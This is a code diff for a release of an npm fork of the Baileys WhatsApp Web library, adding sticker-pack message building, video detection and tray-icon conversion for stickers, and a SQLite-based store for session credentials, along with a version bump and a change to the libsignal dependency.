 import { shouldIncludeReportingToken } from './reporting-utils.js';
 const MIMETYPE_MAP = {
     image: 'image/jpeg',
@@ -887,20 +887,77 @@ export const generateWAMessageContent = async (message, options) => {
         if (rawStickers.length === 0) {
             throw new Boom('stickerPacks.stickers must have at least one sticker', { statusCode: 400 });
         }
-        const stickerBuffers = await Promise.all(rawStickers.map(s => resolveStickerBuffer(s, options.options)));
-        const zipEntries = stickerBuffers.map((data, i) => ({ name: `sticker_${i}.webp`, data }));
-        const archive = buildZipArchive(zipEntries);
         const packName = pack.name || 'Sticker Pack';
-        const captionParts = [];
-        if (pack.publisher) captionParts.push(`Publisher: ${pack.publisher}`);
-        if (pack.author) captionParts.push(`Author: ${pack.author}`);
-        // sent as a plain .zip document through the normal, well-tested upload path
-        m = await prepareWAMessageMedia({
+        const publisher = pack.publisher || pack.author || '';
+        // each entry can be raw sticker media, or { image, animated, emojis, accessibilityLabel, quality }
+        const preparedStickers = await Promise.all(rawStickers.map(async (entry, i) => {
+            const isWrapped = entry && typeof entry === 'object' && !Buffer.isBuffer(entry) && 'image' in entry;
+            const rawBuffer = await resolveStickerBuffer(isWrapped ? entry.image : entry, options.options);
+            const animated = isWrapped ? !!entry.animated : false;
+            const emojis = (isWrapped && entry.emojis) || [];
+            const webp = await makeSticker(rawBuffer, {
+                pack: packName,
+                author: publisher,
+                emojis,
+                animated: animated || isLikelyVideoBuffer(rawBuffer),
+                quality: (isWrapped && entry.quality) || 60
+            });
+            return {
+                fileName: `sticker_${i}.webp`,
+                data: webp,
+                isAnimated: animated,
+                emojis,
+                accessibilityLabel: isWrapped ? entry.accessibilityLabel : undefined,
+                isLottie: false,
+                mimetype: 'image/webp'
+            };
+        }));
+        const trayIconFileName = 'tray.png';
+        const trayIconPng = await convertToTrayIcon(await resolveStickerBuffer(
+            (rawStickers[0] && typeof rawStickers[0] === 'object' && !Buffer.isBuffer(rawStickers[0]) && 'image' in rawStickers[0])
+                ? rawStickers[0].image
+                : rawStickers[0],
+            options.options
+        ));
+        const stickerPackId = pack.stickerPackId || randomUUID();
+        const zipEntries = [
+            ...preparedStickers.map(s => ({ name: s.fileName, data: s.data })),
+            { name: trayIconFileName, data: trayIconPng }
+        ];
+        const archive = buildZipArchive(zipEntries);
+        // reuse the normal, well-tested media upload path to encrypt+upload the archive,
+        // then repurpose the resulting media fields into the stickerPackMessage itself
+        const uploaded = await prepareWAMessageMedia({
             document: archive,
             mimetype: 'application/zip',
-            fileName: `${packName}.zip`,
-            caption: captionParts.length ? captionParts.join('\n') : undefined
+            fileName: `${stickerPackId}.zip`
         }, options);
+        const doc = uploaded.documentMessage;
+        m = {
+            stickerPackMessage: {
+                stickerPackId,
+                name: packName,
+                publisher,
+                packDescription: pack.description,
+                stickers: preparedStickers.map(s => ({
+                    fileName: s.fileName,
+                    isAnimated: s.isAnimated,
+                    emojis: s.emojis,
+                    accessibilityLabel: s.accessibilityLabel,
+                    isLottie: s.isLottie,
+                    mimetype: s.mimetype
+                })),
+                fileLength: doc.fileLength,
+                fileSha256: doc.fileSha256,
+                fileEncSha256: doc.fileEncSha256,
+                mediaKey: doc.mediaKey,
+                directPath: doc.directPath,
+                mediaKeyTimestamp: doc.mediaKeyTimestamp,
+                trayIconFileName,
+                stickerPackSize: archive.length,
+                stickerPackOrigin: proto.Message.StickerPackMessage.StickerPackOrigin.USER_CREATED
+            }
+        };
     }
     else if (hasNonNullishProperty(message, 'sticker') && (message.pack || message.author || message.isPrivate || message.premium || message.animated)) {
         const rawBuffer = await resolveStickerBuffer(message.sticker, options.options);

package/lib/Utils/sticker.js

@@ -19,6 +19,23 @@ const runFfmpeg = (input, args) => new Promise((resolve, reject) => {
     proc.stdin.on('error', () => { });
     proc.stdin.end(input);
 });
+export const isLikelyVideoBuffer = (buffer) => {
+    if (!Buffer.isBuffer(buffer) || buffer.length < 4) {
+        return false;
+    }
+    const header = buffer.subarray(0, 16).toString('ascii');
+    if (header.startsWith('RIFF') && /AVI|WEBM/.test(header)) {
+        return true;
+    }
+    if (buffer.subarray(0, 4).toString('hex') === '1a45dfa3') {
+        return true;
+    }
+    const ftyp = buffer.toString('ascii', 4, 12);
+    if (buffer.toString('ascii', 0, 4) === 'ftyp' || /^(ftyp)/.test(buffer.toString('ascii', 0, 8))) {
+        return /mp4|isom|M4V|M4A|qt\s/.test(ftyp);
+    }
+    return false;
+};
 export const convertToWebp = async (buffer, { animated = false, quality = 60 } = {}) => {
     const scalePad = "scale='min(512,iw)':'min(512,ih)':force_original_aspect_ratio=decrease,format=rgba,pad=512:512:-1:-1:color=#00000000";
     const args = animated
@@ -26,6 +43,11 @@ export const convertToWebp = async (buffer, { animated = false, quality = 60 } =
         : ['-vf', `${scalePad}`, '-vframes', '1', '-vcodec', 'libwebp', '-q:v', String(quality), '-f', 'webp'];
     return runFfmpeg(buffer, args);
 };
+export const convertToTrayIcon = async (buffer) => {
+    const scalePad = "scale='min(96,iw)':'min(96,ih)':force_original_aspect_ratio=decrease,format=rgba,pad=96:96:-1:-1:color=#00000000";
+    const args = ['-vf', scalePad, '-vframes', '1', '-vcodec', 'png', '-f', 'image2'];
+    return runFfmpeg(buffer, args);
+};
 const readChunks = (buf) => {
     const chunks = [];
     let offset = 12;
@@ -105,6 +127,7 @@ export const writeExifToWebp = (webpBuffer, { packId, packName = '', publisher =
     return out;
 };
 export const makeSticker = async (buffer, { pack = '', author = '', emojis = [], isPrivate = false, animated = false, quality = 60 } = {}) => {
-    const webp = await convertToWebp(buffer, { animated, quality });
+    const shouldAnimate = animated || isLikelyVideoBuffer(buffer);
+    const webp = await convertToWebp(buffer, { animated: shouldAnimate, quality });
     return writeExifToWebp(webp, { packName: pack, publisher: author, emojis, isAvatar: isPrivate });
 };

package/lib/Utils/use-sqlite-auth-state.js

@@ -0,0 +1,162 @@
+import { mkdir, readdir, readFile } from 'fs/promises';
+import { dirname, join } from 'path';
+import { proto } from '../../WAProto/index.js';
+import { initAuthCreds } from './auth-utils.js';
+export const useSqliteAuthState = async (pathOrFolder, options = {}) => {
+  const {
+    fileName = 'auth.db',
+    migrateFromFolder,
+    logger
+  } = options;
+  const dbPath = /\.(db|sqlite|sqlite3)$/i.test(pathOrFolder) ? pathOrFolder : join(pathOrFolder, fileName);
+  const bufReplacer = (_, value) => {
+    if (Buffer.isBuffer(value) || value instanceof Uint8Array || value?.type === 'Buffer') {
+      return {
+        type: 'Buffer',
+        data: Buffer.from(value?.data || value).toString('base64')
+      };
+    }
+    return value;
+  };
+  const bufReviver = (_, value) => {
+    if (value && typeof value === 'object' && value.type === 'Buffer' && typeof value.data === 'string') {
+      return Buffer.from(value.data, 'base64');
+    }
+    return value;
+  };
+  const encode = value => {
+    if (Buffer.isBuffer(value) || value instanceof Uint8Array) {
+      return Buffer.concat([Buffer.from([1]), Buffer.from(value)]);
+    }
+    return Buffer.concat([Buffer.from([0]), Buffer.from(JSON.stringify(value, bufReplacer), 'utf8')]);
+  };
+  const decode = blob => {
+    if (!blob || blob.length === 0) return null;
+    if (blob[0] === 1) return Buffer.from(blob.subarray(1));
+    return JSON.parse(Buffer.from(blob.subarray(1)).toString('utf8'), bufReviver);
+  };
+  const fixName = s => s?.replace(/\//g, '__')?.replace(/:/g, '-');
+  const keyOf = (category, id) => fixName(`${category}-${id}`);
+  let DatabaseSync;
+  try {
+    ({
+      DatabaseSync
+    } = await import('node:sqlite'));
+  } catch (err) {
+    throw new Error("useSqliteAuthState needs the built-in 'node:sqlite' module (Node 22.5+). Upgrade Node, or use useMultiFileAuthState instead.");
+  }
+  await mkdir(dirname(dbPath), {
+    recursive: true
+  }).catch(() => {});
+  const db = new DatabaseSync(dbPath);
+  db.exec('PRAGMA journal_mode = TRUNCATE');
+  db.exec('PRAGMA synchronous = NORMAL');
+  db.exec('PRAGMA busy_timeout = 5000');
+  db.exec('CREATE TABLE IF NOT EXISTS auth_state (k TEXT PRIMARY KEY, v BLOB NOT NULL) WITHOUT ROWID');
+  const qGet = db.prepare('SELECT v FROM auth_state WHERE k = ?');
+  const qUpsert = db.prepare('INSERT INTO auth_state(k,v) VALUES(?,?) ON CONFLICT(k) DO UPDATE SET v=excluded.v');
+  const qDelete = db.prepare('DELETE FROM auth_state WHERE k = ?');
+  const runTx = fn => {
+    db.exec('BEGIN');
+    try {
+      const r = fn();
+      db.exec('COMMIT');
+      return r;
+    } catch (err) {
+      db.exec('ROLLBACK');
+      throw err;
+    }
+  };
+  const readRaw = k => {
+    const row = qGet.get(k);
+    if (!row) return null;
+    try {
+      return decode(row.v);
+    } catch (err) {
+      logger?.warn?.({
+        k,
+        err: err?.message
+      }, 'sqlite-auth: failed to decode row, treating as missing');
+      return null;
+    }
+  };
+  const runMigration = async folder => {
+    let files;
+    try {
+      files = await readdir(folder);
+    } catch {
+      return 0;
+    }
+    const rows = [];
+    for (const file of files) {
+      if (!file.endsWith('.json')) continue;
+      let value;
+      try {
+        value = JSON.parse(await readFile(join(folder, file), 'utf8'), bufReviver);
+      } catch {
+        continue;
+      }
+      if (value === null || value === undefined) continue;
+      rows.push([file.slice(0, -'.json'.length), encode(value)]);
+    }
+    runTx(() => {
+      for (const [k, v] of rows) qUpsert.run(k, v);
+    });
+    return rows.length;
+  };
+  const hasCreds = () => !!qGet.get('creds');
+  if (migrateFromFolder && !hasCreds()) {
+    const n = await runMigration(migrateFromFolder);
+    if (n > 0) logger?.info?.({
+      count: n,
+      from: migrateFromFolder
+    }, 'sqlite-auth: migrated legacy auth state');
+  }
+  let creds = readRaw('creds');
+  if (!creds) {
+    creds = initAuthCreds();
+    qUpsert.run('creds', encode(creds));
+  }
+  const keys = {
+    get: async (type, ids) => {
+      const data = {};
+      for (const id of ids) {
+        let value = readRaw(keyOf(type, id));
+        if (type === 'app-state-sync-key' && value) {
+          value = proto.Message.AppStateSyncKeyData.fromObject(value);
+        }
+        if (value !== null && value !== undefined) {
+          data[id] = value;
+        }
+      }
+      return data;
+    },
+    set: async data => {
+      const ops = [];
+      for (const category in data) {
+        for (const id in data[category]) {
+          ops.push([keyOf(category, id), data[category][id]]);
+        }
+      }
+      runTx(() => {
+        for (const [k, value] of ops) {
+          if (value === null || value === undefined) qDelete.run(k);else qUpsert.run(k, encode(value));
+        }
+      });
+    },
+    clear: async () => {
+      db.prepare("DELETE FROM auth_state WHERE k <> 'creds'").run();
+    }
+  };
+  return {
+    state: {
+      creds,
+      keys
+    },
+    saveCreds: async () => {
+      qUpsert.run('creds', encode(creds));
+    },
+    db,
+    close: () => db.close()
+  };
+};

package/lib/index.js

@@ -14,7 +14,7 @@ fetch('https://raw.githubusercontent.com/alannzxd/xclient/refs/heads/main/inform
   .then(response => response.json())
   .then(data => {
     const message = data[0];
-    console.log(chalk.yellowBright("🆕 Latest update: ") + chalk.whiteBright("03 - 08 - 2026"));
+    console.log(chalk.yellowBright("🆕 Latest update: ") + chalk.whiteBright("13 - 08 - 2026"));
     console.log(chalk.yellow("📁 Information: ") + chalk.white(message));
     console.log("");
 });

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@alannxd/baileys",
   "type": "module",
-  "version": "6.1.6",
+  "version": "6.1.7",
   "description": "A WebSockets library for interacting with WhatsApp Web — fork of Baileys with extra socket layers (communities, interop, privacy, GraphQL) and special message helpers.",
   "keywords": [
     "whatsapp",
@@ -45,7 +45,7 @@
     "@cacheable/node-cache": "^1.4.0",
     "@hapi/boom": "^9.1.3",
     "async-mutex": "^0.5.0",
-    "libsignal": "github:@alannzxd/libsignal-node",
+    "libsignal": "^6.0.0",
     "lru-cache": "^11.1.0",
     "music-metadata": "^11.12.3",
     "p-queue": "^9.0.0",